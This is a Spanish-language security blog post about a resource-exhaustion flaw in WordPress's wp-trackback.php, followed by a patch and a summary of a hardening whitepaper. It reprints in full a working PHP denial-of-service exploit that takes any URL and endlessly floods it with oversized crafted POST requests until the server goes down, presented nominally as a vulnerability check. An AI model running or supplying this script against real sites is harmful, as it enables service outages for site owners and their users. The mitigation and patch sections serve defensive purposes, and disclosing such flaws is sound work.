• Inicio
  • 20th
    OCT

    1
    Votalo

    Fallo de seguridad en WordPress

    Publicado por ElPerro | Archivado en Seguridad, Vulnes

    Hace apenas un par de días atrás José Carlos Norte notificaba acerca de un fallo en todas las versiones de WordPress que permitía a un atacante ejecutar una rutina de denegación de servicios en los servidores que estén brindando alojamiento a un sitio desarrollado con WordPress.

    Dicho fallo radica en el archivo wp-trackback.php al no validar como corresponde la variable $charset y de esta manera permite el paso de peticiones del tipo POST especialmente diseñada con una cantidad indeterminada de parámetros, causando de esta manera el consumo masivo de recursos en el servidor afectado.

    El exploit
    El siguiente código nos permitirá saber si nuestro sitio web es o no vulnerable a tal cobarde ataque y de esa manera podremos proceder a realizar el patcheo correspondiente al bug.

    //wordpress Resource exhaustion Exploit
    //http://rooibo.wordpress.com/
    //security@wordpress.org contacted and get a response,
    //but no solution available.
    if(count($argv) < 2) {
    echo “You need to specify a url to attack\n”;
    exit;
    }

    $url = $argv[1];

    $data = parse_url($url);
    if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data['path']; } $path = trim($path,’/’); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data['host'],80); if(!$fp) { if($count > 0) {
    echo “down!!!!\n”;
    exit;
    }
    echo “unable to connect to: “.$data['host'].”\n”;
    exit;
    }

    fputs($fp, “POST $path HTTP/1.1\r\n”);
    fputs($fp, “Host: “.$data['host'].”\r\n”);
    fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
    fputs($fp, “Content-length: “.strlen($str).”\r\n”);
    fputs($fp, “Connection: close\r\n\r\n”);
    fputs($fp, $str.”\r\n\r\n”);

    echo “hit!\n”;
    $count++;
    }

    ?>

    La solución
    Hay tres maneras de evitar ser víctimas de este fallo. Una sería modificando el parámetro php_memory_limit del php.ini en la configuración de nuestro servidor y con esto evitaríamos que las aplicaciones que allí se ejecuten consuman solo los recursos que nosostros le dispongamos, la segunda es consultar si nuestro hosting posee mod_security, ya que filtraría los paquetes “malintencionados” o masivos y la tercera es simplemente, modificar el archivo wp-trackback.php
    Nuevamente, José Carlos Norte nos brinda la solución:
    La linea 45 del archivo wp-trackback.php: $charset = $_POST['charset'];
    Debe ser reemplaza por el siguiente código:
    $charset = str_replace(”,”,””,$_POST['charset']);
    if(is_array($charset)) { exit; }

    También podemos encontrar soluciones a diversos inconvenientes de seguridad en un “whitepaper” provisto por la gente de DragonJar.org en donde nos sugieren el uso de otro tipo de técnicas para mantener seguro nuestro blog como el WP-IDS, un mod para WordPress modificado en el mismo paper.

    El whitepaper de DragonJar abarca los siguientes temas
    1. Introducción
    2. Instalando WordPress

    2.1. Accediendo a las tablas de WordPress
    2.2. Cambiando el prefijo de las tablas
    2.3. Antes de la instalación
    2.4. Cambio manualmente
    2.5. Através del cambiador de prefijos de WordPress
    3. Preparando el Blog
    3.1. Cambiando el nombre de usuario “admin”
    3.2. Creando un nuevo usuario con acceso limitado
    4. Endureciendo la instalación de WP
    4.1. Restringiendo wp-content y wp-includes
    4.2. Restringiendo wp-admin
    4.2.1. Bloquear todo excepto tu IP
    4.3. Contraseña requerida – .htpasswd
    4.3.1 El archivo .htaccess
    4.3.2 El archivo .htpasswd
    5. Plugins necesarios
    5.1 WPIDS – Detector de intrusos
    5.2 WordPress Plugin Tracker – ¿Estas actualizado?
    5.3 WordPress Online Security Scanner

    Nota: El documento se encuentra en inglés.

    Descarga

    Vía | DragonJar.org | José Carlos Norte

    Responder